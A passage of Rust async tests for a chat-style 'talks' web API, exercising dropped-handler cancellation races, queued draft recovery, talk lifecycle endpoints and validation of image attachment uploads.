16028        let tmp = TempDir::new().expect("tempdir");
16029        let repo = tmp.path().join("repo");
16030        std::fs::create_dir_all(&repo).expect("repo dir");
16031        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16032        let home = TempDir::new().expect("temp home");
16033        let talks = Talks::at(home.path().join("talks"));
16034        let ui = Arc::new(
16035            Ui::new(
16036                Queue::at(home.path().join("queue")),
16037                Questions::at(home.path().join("questions")),
16038                talks.clone(),
16039                home.path().join("runs"),
16040                home.path().to_path_buf(),
16041                repo.clone(),
16042            )
16043            .with_worktrees_root(home.path().join("wt")),
16044        );
16045        let cfg = config_for(&repo).await.expect("discover config");
16046
16047        for delay in 0..40u32 {
16048            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16049            let id = talk.id.clone();
16050
16051            let handler = tokio::spawn(talk_say(
16052                State(Arc::clone(&ui)),
16053                Path(id.clone()),
16054                Ok(Json(NewTalkTurn {
16055                    reply_to: None,
16056                    text: "what does the queue module do?".to_owned(),
16057                    attachments: Vec::new(),
16058                })),
16059            ));
16060            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16061            handler.abort();
16062            // Wait out the abort so the next iteration's talk does not race
16063            // this one's still-unwinding turn guard.
16064            let _ = handler.await;
16065
16066            let mut turns = 0;
16067            for _ in 0..SETTLE_STEPS {
16068                if let Ok(fresh) = talks.get(&id) {
16069                    turns = fresh.turns.len();
16070                    if turns != 1 {
16071                        break;
16072                    }
16073                }
16074                tokio::time::sleep(Duration::from_millis(10)).await;
16075            }
16076            assert_ne!(
16077                turns, 1,
16078                "delay {delay}: talk {id} recorded the operator's turn but \
16079                 the agent never answered - the reply task was never \
16080                 started after the handler future was dropped"
16081            );
16082        }
16083    }
16084
16085    /// The same drop, landing on `talk_say`'s other durable write.
16086    ///
16087    /// When a turn is already running, the busy branch persists the
16088    /// operator's text as a queued draft and then reclaims the turn slot if
16089    /// the holder gave it up in the meantime - and whoever reclaims owes that
16090    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16091    /// which finishes whether or not the future awaiting it is still there,
16092    /// so a handler dropped at that `.await` used to leave the draft written
16093    /// to disk with the reclaimed guard dropped unread and no drainer ever
16094    /// started: the message sat queued until some unrelated later `say`
16095    /// happened to pick it up.
16096    ///
16097    /// This used to drive the handler future by hand, polling it a fixed
16098    /// number of times to park it at the `.await` where it asks for the turn
16099    /// and finds it busy, before the reclaim's slot-free case could be set up
16100    /// underneath it. That assumed a fixed number of polls lands at a fixed
16101    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16102    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16103    /// poll, so any number of this handler's several `blocking` awaits can
16104    /// collapse into one poll under load, landing the drive somewhere other
16105    /// than intended - including, occasionally, straight past the handler's
16106    /// own completion, which made polling it again panic with "async fn
16107    /// resumed after completion". No poll count fixes that; the handler's
16108    /// progress simply is not something a caller outside it can observe by
16109    /// counting.
16110    ///
16111    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16112    /// inside the write itself, so the interleaving under test is pinned by
16113    /// an event instead of a guess: the gate fires only once the handler has
16114    /// actually decided `Busy` and is about to persist the draft, and it
16115    /// blocks that write until the test lets it through. Between those two
16116    /// moments the test drains the turn the handler found busy - through
16117    /// `drain_loop`, the protocol's other half - and then aborts the handler
16118    /// task outright, the same way axum drops a disconnected request's
16119    /// future. The write, and the reclaim it may do, run to completion
16120    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16121    /// to the runtime before ever touching the gate, wholly independent of
16122    /// whether the handler that started it is still around - which is what
16123    /// this test is actually checking. A drainer other than that reclaim
16124    /// cannot exist here: the test's own `drain_loop` call happens before the
16125    /// gate opens, so it runs while the queue is still empty and hands the
16126    /// turn straight back rather than draining anything, closing off the
16127    /// possibility of the final assertion passing without the reclaim ever
16128    /// having done its job.
16129    #[tokio::test]
16130    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16131        let tmp = TempDir::new().expect("tempdir");
16132        let repo = tmp.path().join("repo");
16133        std::fs::create_dir_all(&repo).expect("repo dir");
16134        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16135        let home = TempDir::new().expect("temp home");
16136        let talks = Talks::at(home.path().join("talks"));
16137        let ui = Arc::new(
16138            Ui::new(
16139                Queue::at(home.path().join("queue")),
16140                Questions::at(home.path().join("questions")),
16141                talks.clone(),
16142                home.path().join("runs"),
16143                home.path().to_path_buf(),
16144                repo.clone(),
16145            )
16146            .with_worktrees_root(home.path().join("wt")),
16147        );
16148        let cfg = config_for(&repo).await.expect("discover config");
16149
16150        for attempt in 0..3u32 {
16151            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16152            let id = talk.id.clone();
16153            // A turn is already running, which is what sends `talk_say` down
16154            // the busy branch.
16155            let turn_guard = ui
16156                .begin_talk_turn(&id)
16157                .expect("claim the turn")
16158                .expect("a fresh talk owes nobody a turn");
16159
16160            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16161            let (release_tx, release_rx) = std::sync::mpsc::channel();
16162            ui.set_busy_queue_gate(BusyQueueGate {
16163                reached: reached_tx,
16164                release: release_rx,
16165            });
16166
16167            let handler = tokio::spawn(talk_say(
16168                State(Arc::clone(&ui)),
16169                Path(id.clone()),
16170                Ok(Json(NewTalkTurn {
16171                    reply_to: None,
16172                    text: "what does the queue module do?".to_owned(),
16173                    attachments: Vec::new(),
16174                })),
16175            ));
16176
16177            // Wait for the busy branch to actually reach the gate, rather
16178            // than for any fixed number of polls of anything - a bounded
16179            // wait rather than a bare `.await` so a regression that never
16180            // reaches the gate fails the test instead of hanging it.
16181            tokio::time::timeout(Duration::from_secs(5), reached_rx)
16182                .await
16183                .unwrap_or_else(|_| {
16184                    panic!(
16185                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16186                    )
16187                })
16188                .expect("the busy branch dropped the gate without using it");
16189            assert!(
16190                crate::chat_worker::try_publication_guard(&talks, &id)
16191                    .expect("publication fence")
16192                    .is_none(),
16193                "a queued worker cannot promote text before its successor reservation is published"
16194            );
16195
16196            // A listener replacement queues its writer behind this accepted
16197            // mutation. Even disconnecting the HTTP caller must not release
16198            // admission before the write-to-worker handoff has completed.
16199            let closing = Arc::clone(&ui.admissions).write_owned();
16200            tokio::pin!(closing);
16201            std::future::poll_fn(|cx| {
16202                assert!(closing.as_mut().poll(cx).is_pending());
16203                std::task::Poll::Ready(())
16204            })
16205            .await;
16206            assert!(
16207                ui.begin_admission().is_err(),
16208                "replacement blocks later admissions"
16209            );
16210
16211            // The turn that was running now finishes and gives the slot up
16212            // the way a real one does - through `drain_loop`, which finds
16213            // nothing queued yet (the write is still held at the gate) and
16214            // releases. The handler, parked inside `spawn_blocking` on the
16215            // other side of the gate, still believes the talk is busy -
16216            // exactly the interleaving the reclaim exists for.
16217            let running = talks.get(&id).expect("reload talk");
16218            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16219
16220            // Drop the handler future now, the way a reloading phone drops
16221            // it: suspended waiting on the busy branch's answer, having
16222            // itself made no more progress since it handed the write off.
16223            handler.abort();
16224            let _ = handler.await;
16225            std::future::poll_fn(|cx| {
16226                assert!(
16227                    closing.as_mut().poll(cx).is_pending(),
16228                    "HTTP cancellation must not abandon a publishing transaction"
16229                );
16230                std::task::Poll::Ready(())
16231            })
16232            .await;
16233            assert!(
16234                crate::chat_worker::try_publication_guard(&talks, &id)
16235                    .expect("publication fence after disconnect")
16236                    .is_none()
16237            );
16238
16239            // Only now let the gated write proceed. It persists the draft
16240            // and reclaims the now-free slot from inside the task the busy
16241            // branch already spawned - unaffected by the handler's abort
16242            // above, since that task was independent of the handler's own
16243            // future from the moment it was spawned.
16244            let _ = release_tx.send(());
16245            drop(
16246                tokio::time::timeout(Duration::from_secs(5), closing)
16247                    .await
16248                    .expect("short admission transaction should release for replacement"),
16249            );
16250            assert!(
16251                crate::chat_worker::try_publication_guard(&talks, &id)
16252                    .expect("publication fence after acknowledgement")
16253                    .is_some(),
16254                "the publication fence is not retained by the long response"
16255            );
16256
16257            // A settled talk: the draft drained into an operator turn and
16258            // answered.
16259            let mut fresh = talks.get(&id).expect("reload talk");
16260            for _ in 0..SETTLE_STEPS {
16261                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16262                    break;
16263                }
16264                tokio::time::sleep(Duration::from_millis(10)).await;
16265                fresh = talks.get(&id).expect("reload talk");
16266            }
16267            assert!(
16268                fresh.pending.is_empty() && fresh.turns.len() == 2,
16269                "attempt {attempt}: talk {id} left the operator's text queued \
16270                 with no drainer - the reclaimed turn was dropped along with \
16271                 the handler future (pending {:?}, {} turns)",
16272                fresh.pending,
16273                fresh.turns.len()
16274            );
16275        }
16276    }
16277
16278    #[tokio::test]
16279    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16280        let (_tmp, _repo, f) = talk_fixture().await;
16281        let id = f.post("/api/talks", None).await.json()["id"]
16282            .as_str()
16283            .expect("id")
16284            .to_owned();
16285        let store = f.talks();
16286        let mut recovered = store.get(&id).expect("opened talk");
16287        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16288            .expect("persist pending draft without a live turn");
16289
16290        let edited = f
16291            .post(
16292                &format!("/api/talks/{id}/pending/edit"),
16293                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16294            )
16295            .await;
16296        assert_eq!(edited.status, 200, "{}", edited.body);
16297        assert!(edited.json()["thinking"].as_bool().unwrap());
16298
16299        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16300        for _ in 0..SETTLE_STEPS {
16301            if detail["turns"].as_array().expect("turns").len() == 2 {
16302                break;
16303            }
16304            tokio::time::sleep(Duration::from_millis(10)).await;
16305            detail = f.get(&format!("/api/talks/{id}")).await.json();
16306        }
16307        let turns = detail["turns"].as_array().expect("turns");
16308        assert_eq!(
16309            turns.len(),
16310            2,
16311            "the recovered draft must run once: {detail}"
16312        );
16313        assert_eq!(turns[0]["body"], "corrected");
16314        assert_eq!(detail["pending"], "");
16315    }
16316
16317    #[tokio::test]
16318    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16319        let tmp = TempDir::new().expect("tempdir");
16320        let repo = tmp.path().join("repo");
16321        std::fs::create_dir_all(&repo).expect("repo dir");
16322        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16323        let f = Fixture::with_repo(repo).await;
16324        let id = f.post("/api/talks", None).await.json()["id"]
16325            .as_str()
16326            .expect("id")
16327            .to_owned();
16328        let store = f.talks();
16329        let mut recovered = store.get(&id).expect("opened talk");
16330        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16331            .expect("persist pending draft without a live turn");
16332
16333        let refused = f
16334            .post(
16335                &format!("/api/talks/{id}/say"),
16336                Some(r#"{"text":"new message"}"#),
16337            )
16338            .await;
16339        assert_eq!(refused.status, 409, "{}", refused.body);
16340        assert!(refused.body.contains("resume"), "{}", refused.body);
16341        let saved = store.get(&id).expect("draft remains after refusal");
16342        assert!(saved.turns.is_empty());
16343        assert_eq!(saved.pending, "saved before restart");
16344
16345        let say_path = format!("/api/talks/{id}/say");
16346        let (first, second) = tokio::join!(
16347            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16348            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16349        );
16350        assert_eq!(first.status, 409, "{}", first.body);
16351        assert_eq!(second.status, 409, "{}", second.body);
16352        let saved = store
16353            .get(&id)
16354            .expect("draft remains after concurrent refusals");
16355        assert!(saved.turns.is_empty());
16356        assert_eq!(saved.pending, "saved before restart");
16357
16358        let resumed = f
16359            .post(&format!("/api/talks/{id}/pending/resume"), None)
16360            .await;
16361        assert_eq!(resumed.status, 202, "{}", resumed.body);
16362        let duplicate = f
16363            .post(&format!("/api/talks/{id}/pending/resume"), None)
16364            .await;
16365        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16366
16367        for _ in 0..SETTLE_STEPS {
16368            if store.get(&id).expect("talk").turns.len() == 2 {
16369                break;
16370            }
16371            tokio::time::sleep(Duration::from_millis(10)).await;
16372        }
16373        let finished = store.get(&id).expect("finished talk");
16374        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16375        assert_eq!(finished.turns[0].body, "saved before restart");
16376        assert!(finished.pending.is_empty());
16377    }
16378
16379    #[tokio::test]
16380    async fn an_image_only_recovered_draft_resumes_without_text() {
16381        let (_tmp, _repo, f) = talk_fixture().await;
16382        let id = f.post("/api/talks", None).await.json()["id"]
16383            .as_str()
16384            .expect("id")
16385            .to_owned();
16386        let uploaded = f
16387            .post_bytes(
16388                &format!("/api/talks/{id}/attachments"),
16389                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16390                PNG_BYTES,
16391            )
16392            .await;
16393        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16394        let attachment = f
16395            .talks()
16396            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16397            .expect("attachment metadata")
16398            .expect("stored attachment");
16399        let store = f.talks();
16400        let mut recovered = store.get(&id).expect("opened talk");
16401        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16402
16403        let resumed = f
16404            .post(&format!("/api/talks/{id}/pending/resume"), None)
16405            .await;
16406        assert_eq!(resumed.status, 202, "{}", resumed.body);
16407        for _ in 0..SETTLE_STEPS {
16408            if store.get(&id).expect("talk").turns.len() == 2 {
16409                break;
16410            }
16411            tokio::time::sleep(Duration::from_millis(10)).await;
16412        }
16413        let finished = store.get(&id).expect("finished talk");
16414        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16415        assert!(finished.turns[0].body.is_empty());
16416        assert_eq!(finished.turns[0].attachments.len(), 1);
16417        assert!(finished.pending_attachments.is_empty());
16418    }
16419
16420    #[tokio::test]
16421    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16422        let (_tmp, _repo, f) = talk_fixture().await;
16423        let id = f.post("/api/talks", None).await.json()["id"]
16424            .as_str()
16425            .expect("id")
16426            .to_owned();
16427        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16428        assert_eq!(closed.status, 200, "{}", closed.body);
16429        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16430            .expect("serialize closed talk");
16431        for (path, body) in [
16432            (format!("/api/talks/{id}/pending/resume"), None),
16433            (
16434                format!("/api/talks/{id}/pending/clear"),
16435                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16436            ),
16437            (
16438                format!("/api/talks/{id}/pending/edit"),
16439                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16440            ),
16441            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16442        ] {
16443            let response = f.post(&path, body).await;
16444            assert_eq!(response.status, 409, "{}", response.body);
16445        }
16446        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16447            .expect("serialize closed talk");
16448        assert_eq!(
16449            after_clear, before_clear,
16450            "clear must not rewrite a closed talk"
16451        );
16452    }
16453
16454    /// Keeps both claims observable long enough to exercise the distinction
16455    /// between one busy talk and a globally locked Chat surface.
16456    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16457
16458    #[tokio::test]
16459    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16460        let tmp = TempDir::new().expect("tempdir");
16461        let repo = tmp.path().join("repo");
16462        std::fs::create_dir_all(&repo).expect("repo dir");
16463        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16464        let f = Fixture::with_repo(repo).await;
16465        let id_a = f.post("/api/talks", None).await.json()["id"]
16466            .as_str()
16467            .unwrap()
16468            .to_owned();
16469        let id_b = f.post("/api/talks", None).await.json()["id"]
16470            .as_str()
16471            .unwrap()
16472            .to_owned();
16473
16474        let a = f
16475            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16476            .await;
16477        assert_eq!(a.status, 202, "{}", a.body);
16478        assert_eq!(a.json()["thinking"], true);
16479        let b = f
16480            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16481            .await;
16482        assert_eq!(b.status, 202, "{}", b.body);
16483        assert_eq!(b.json()["thinking"], true);
16484
16485        let listed = f.get("/api/talks").await.json();
16486        for id in [&id_a, &id_b] {
16487            let view = listed
16488                .as_array()
16489                .unwrap()
16490                .iter()
16491                .find(|talk| talk["id"] == *id)
16492                .unwrap();
16493            assert_eq!(view["thinking"], true, "{listed}");
16494        }
16495        let repeated = f
16496            .post(
16497                &format!("/api/talks/{id_a}/say"),
16498                Some(r#"{"text":"again"}"#),
16499            )
16500            .await;
16501        assert_eq!(repeated.status, 202, "{}", repeated.body);
16502        assert_eq!(repeated.json()["pending"], "again");
16503    }
16504
16505    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16506    /// few more, since real uploads are never exactly eight bytes.
16507    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16508
16509    #[tokio::test]
16510    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16511        let f = Fixture::start().await;
16512        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16513
16514        let res = f
16515            .post_bytes(
16516                &format!("/api/talks/{id}/attachments"),
16517                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16518                PNG_BYTES,
16519            )
16520            .await;
16521        assert_eq!(res.status, 201, "{}", res.body);
16522        let body = res.json();
16523        assert_eq!(body["name"], "shot.png");
16524        assert_eq!(body["mime"], "image/png");
16525        assert_eq!(body["bytes"], PNG_BYTES.len());
16526        let att_id = body["id"].as_str().expect("id").to_owned();
16527        assert_eq!(
16528            att_id.len(),
16529            32,
16530            "the id must never be a client-suppliable path: {att_id}"
16531        );
16532
16533        let got = f
16534            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16535            .await;
16536        assert_eq!(got.status, 200, "{}", got.body);
16537        assert_eq!(got.header("content-type"), Some("image/png"));
16538        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16539        assert_eq!(got.bytes, PNG_BYTES);
16540    }
16541
16542    #[tokio::test]
16543    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16544        let f = Fixture::start().await;
16545        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16546
16547        // SVG can carry a `<script>`, so it is never on the whitelist even
16548        // though it is a real IANA image type.
16549        let svg = f
16550            .post_bytes(
16551                &format!("/api/talks/{id}/attachments"),
16552                &[("Content-Type", "image/svg+xml")],
16553                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16554            )
16555            .await;
16556        assert!(
16557            (400..500).contains(&svg.status),
16558            "svg must be refused: {} {}",
16559            svg.status,
16560            svg.body
16561        );
16562        assert!(svg.body.contains("SVG"), "{}", svg.body);
16563
16564        let text = f
16565            .post_bytes(
16566                &format!("/api/talks/{id}/attachments"),
16567                &[("Content-Type", "text/plain")],
16568                b"just some text",
16569            )
16570            .await;
16571        assert!(
16572            (400..500).contains(&text.status),
16573            "an unlisted type must be refused: {} {}",
16574            text.status,
16575            text.body
16576        );
16577
16578        // The declared type is a real png, but the size check runs before
16579        // the bytes are even looked at.
16580        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16581        let big = f
16582            .post_bytes(
16583                &format!("/api/talks/{id}/attachments"),
16584                &[("Content-Type", "image/png")],
16585                &oversized,
16586            )
16587            .await;
16588        assert_eq!(
16589            big.status,
16590            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16591            "{}",
16592            big.body
16593        );
16594    }
16595
16596    #[tokio::test]
16597    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16598        let f = Fixture::start().await;
16599        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16600
16601        // A whitelisted `Content-Type`, but bytes that are not actually a
16602        // png - the declared header alone is never trusted.
16603        let res = f
16604            .post_bytes(
16605                &format!("/api/talks/{id}/attachments"),
16606                &[("Content-Type", "image/png")],
16607                b"<html>not a picture</html>",
16608            )
16609            .await;
16610        assert!((400..500).contains(&res.status), "{}", res.body);
16611    }
16612
16613    #[tokio::test]
16614    async fn an_unknown_attachment_id_is_a_404() {
16615        let f = Fixture::start().await;
16616        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16617
16618        let res = f
16619            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16620            .await;
16621        assert_eq!(res.status, 404, "{}", res.body);
16622    }
16623
16624    #[tokio::test]
16625    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16626        let f = Fixture::start().await;
16627        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16628
16629        let uploaded = f
16630            .post_bytes(
16631                &format!("/api/talks/{id}/attachments"),
16632                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16633                PNG_BYTES,
16634            )
16635            .await;
16636        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16637        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16638
16639        let res = f
16640            .post(
16641                &format!("/api/talks/{id}/say"),
16642                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16643            )
16644            .await;
16645        assert_eq!(res.status, 202, "{}", res.body);
16646        let queued = res.json();
16647        let turns = queued["turns"].as_array().expect("turns array");
16648        assert_eq!(
16649            turns.len(),
16650            1,
16651            "an empty body with an attachment is still a turn: {queued}"
16652        );
16653        assert_eq!(turns[0]["who"], "operator");
16654        assert_eq!(turns[0]["body"], "");
16655        let atts = turns[0]["attachments"]
16656            .as_array()
16657            .expect("attachments array");
16658        assert_eq!(atts.len(), 1);
16659        assert_eq!(atts[0]["id"], att_id);
16660        assert_eq!(atts[0]["mime"], "image/png");
16661
16662        // Not only in the response: `record` flushes to disk before the
16663        // agent's own turn is even spawned.
16664        let on_disk = f.talks().get(&id).expect("get");
16665        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16666        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16667    }
16668
16669    #[tokio::test]
16670    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16671        let f = Fixture::start().await;
16672        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16673
16674        let res = f
16675            .post(
16676                &format!("/api/talks/{id}/say"),
16677                Some(&format!(
16678                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16679                    "a".repeat(32)
16680                )),
16681            )
16682            .await;
16683        assert!((400..500).contains(&res.status), "{}", res.body);
16684        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16685
16686        let on_disk = f.talks().get(&id).expect("get");
16687        assert!(
16688            on_disk.turns.is_empty(),
16689            "a rejected attachment id must not partially record the turn: {:?}",
16690            on_disk.turns
16691        );
16692    }
16693
16694    #[tokio::test]
16695    async fn talk_close_makes_the_talk_refuse_further_turns() {
16696        let f = Fixture::start().await;
16697        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16698
16699        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16700        assert_eq!(closed.status, 200, "{}", closed.body);
16701        assert_eq!(closed.json()["status"], "closed");
16702
16703        // Idempotent: closing an already-closed talk is not an error.
16704        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16705        assert_eq!(closed_again.status, 200);
16706        assert_eq!(closed_again.json()["status"], "closed");
16707
16708        let said = f
16709            .post(
16710                &format!("/api/talks/{id}/say"),
16711                Some(r#"{"text":"too late"}"#),
16712            )
16713            .await;
16714        assert_eq!(said.status, 409, "{}", said.body);
16715    }
16716
16717    #[tokio::test]
16718    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16719        let f = Fixture::start().await;
16720        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16721        let store = f.talks();
16722        let mut queued = store.get(&id).expect("talk");
16723        for automatic in [false, true] {
16724            if automatic {
16725                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16726                    .expect("queue automatic input");
16727            } else {
16728                talk::queue(&mut queued, &store, "queued send", Vec::new())
16729                    .expect("queue operator input");
16730            }
16731            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16732            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16733            assert_eq!(refused.status, 409, "{}", refused.body);
16734            assert!(refused.body.contains("pending input"), "{}", refused.body);
16735            assert_eq!(
16736                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16737                before,
16738                "a close refusal must preserve the entire record"
16739            );
16740            talk::clear_pending(&mut queued, &store).expect("clear saved input");
16741        }
16742        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16743        assert_eq!(closed.status, 200, "{}", closed.body);
16744        assert_eq!(closed.json()["status"], "closed");
16745    }
16746
16747    #[tokio::test]
16748    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16749        let (_tmp, _repo, f) = talk_fixture().await;
16750        let id = f.post("/api/talks", None).await.json()["id"]
16751            .as_str()
16752            .expect("id")
16753            .to_owned();
16754        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16755        assert_eq!(closed.status, 200, "{}", closed.body);
16756
16757        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16758        assert_eq!(reopened.status, 200, "{}", reopened.body);
16759        assert_eq!(reopened.json()["status"], "open");
16760
16761        // Idempotent: reopening an already-open talk is not an error.
16762        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16763        assert_eq!(reopened_again.status, 200);
16764        assert_eq!(reopened_again.json()["status"], "open");
16765
16766        let said = f
16767            .post(
16768                &format!("/api/talks/{id}/say"),
16769                Some(r#"{"text":"still there?"}"#),
16770            )
16771            .await;
16772        assert_eq!(
16773            said.status, 202,
16774            "a reopened talk accepts turns again: {}",
16775            said.body
16776        );
16777    }
16778
16779    #[tokio::test]
16780    async fn talk_reopen_on_an_unknown_id_is_404() {
16781        let f = Fixture::start().await;
16782        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16783        assert_eq!(res.status, 404, "{}", res.body);
16784    }
16785
16786    #[tokio::test]
16787    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16788        let f = Fixture::start().await;
16789        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16790
16791        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16792        assert_eq!(deleted.status, 204, "{}", deleted.body);
16793
16794        let after = f.get(&format!("/api/talks/{id}")).await;
16795        assert_eq!(after.status, 404, "{}", after.body);
16796
16797        let listed = f.get("/api/talks").await.json();
16798        assert!(
16799            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16800            "a deleted talk must not linger in the list: {listed}"
16801        );
16802    }
16803
16804    #[tokio::test]
16805    async fn talk_delete_on_an_unknown_id_is_404() {
16806        let f = Fixture::start().await;
16807        let res = f.delete("/api/talks/nonexistent-id").await;
16808        assert_eq!(res.status, 404, "{}", res.body);
16809    }
16810
16811    /// A task's page lists every run it ever had, in order, and says what kind
16812    /// of attempt each was - including a resume, which re-pushes the same run
16813    /// id, and a run whose record this build cannot read.
16814    #[tokio::test]
16815    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16816        let f = Fixture::start().await;
16817        let (a, b, gone) = (
16818            "20260902-140501-aaaa",
16819            "20260902-140502-bbbb",
16820            "20260902-140503-cccc",
16821        );
16822        write_run(&f.runs(), a, RunStatus::Stalled);
16823        let mut review = RunState::new(
16824            PathBuf::from("/repo/magi"),
16825            "main".to_owned(),
16826            "0123456789abcdef".to_owned(),
16827            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16828                .to_owned(),
16829            Config::default(),
16830        );
16831        review.id = b.to_owned();
16832        review.status = RunStatus::Merged;
16833        write_state(&f.runs(), &review);
16834
16835        let mut task = Task::new(
16836            "retry".to_owned(),
16837            "Do the thing".to_owned(),
16838            PathBuf::from("/repo/magi"),
16839            Source::Human,
16840        );
16841        task.start(a.to_owned());
16842        task.stall("quota");
16843        task.start(a.to_owned());
16844        task.start(b.to_owned());
16845        task.start(gone.to_owned());
16846        // This fixture models an older queue file with repeated run entries.
16847        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16848        f.queue().put(&mut task).expect("file the task");
16849
16850        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16851        assert_eq!(res.status, 200, "{}", res.body);
16852        let v = res.json();
16853        let h = v["history"].as_array().expect("history");
16854        assert_eq!(h.len(), 4, "{v}");
16855        assert_eq!(h[0]["kind"], "competition");
16856        assert_eq!(h[0]["status"], "stalled");
16857        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16858        assert_eq!(h[1]["kind"], "resume", "{v}");
16859        assert!(
16860            h[0]["outcome"]
16861                .as_str()
16862                .unwrap()
16863                .contains("unknown. Pass #2"),
16864            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16865        );
16866        assert!(
16867            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16868            "{v}"
16869        );
16870        assert!(
16871            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16872            "an unrecorded cause must not be narrated as an operator park: {v}"
16873        );
16874        assert_eq!(h[2]["kind"], "review");
16875        assert!(
16876            h[2]["description"]
16877                .as_str()
16878                .unwrap()
16879                .contains("magi/aaaa/A")
16880        );
16881        assert_eq!(h[2]["status"], "merged");
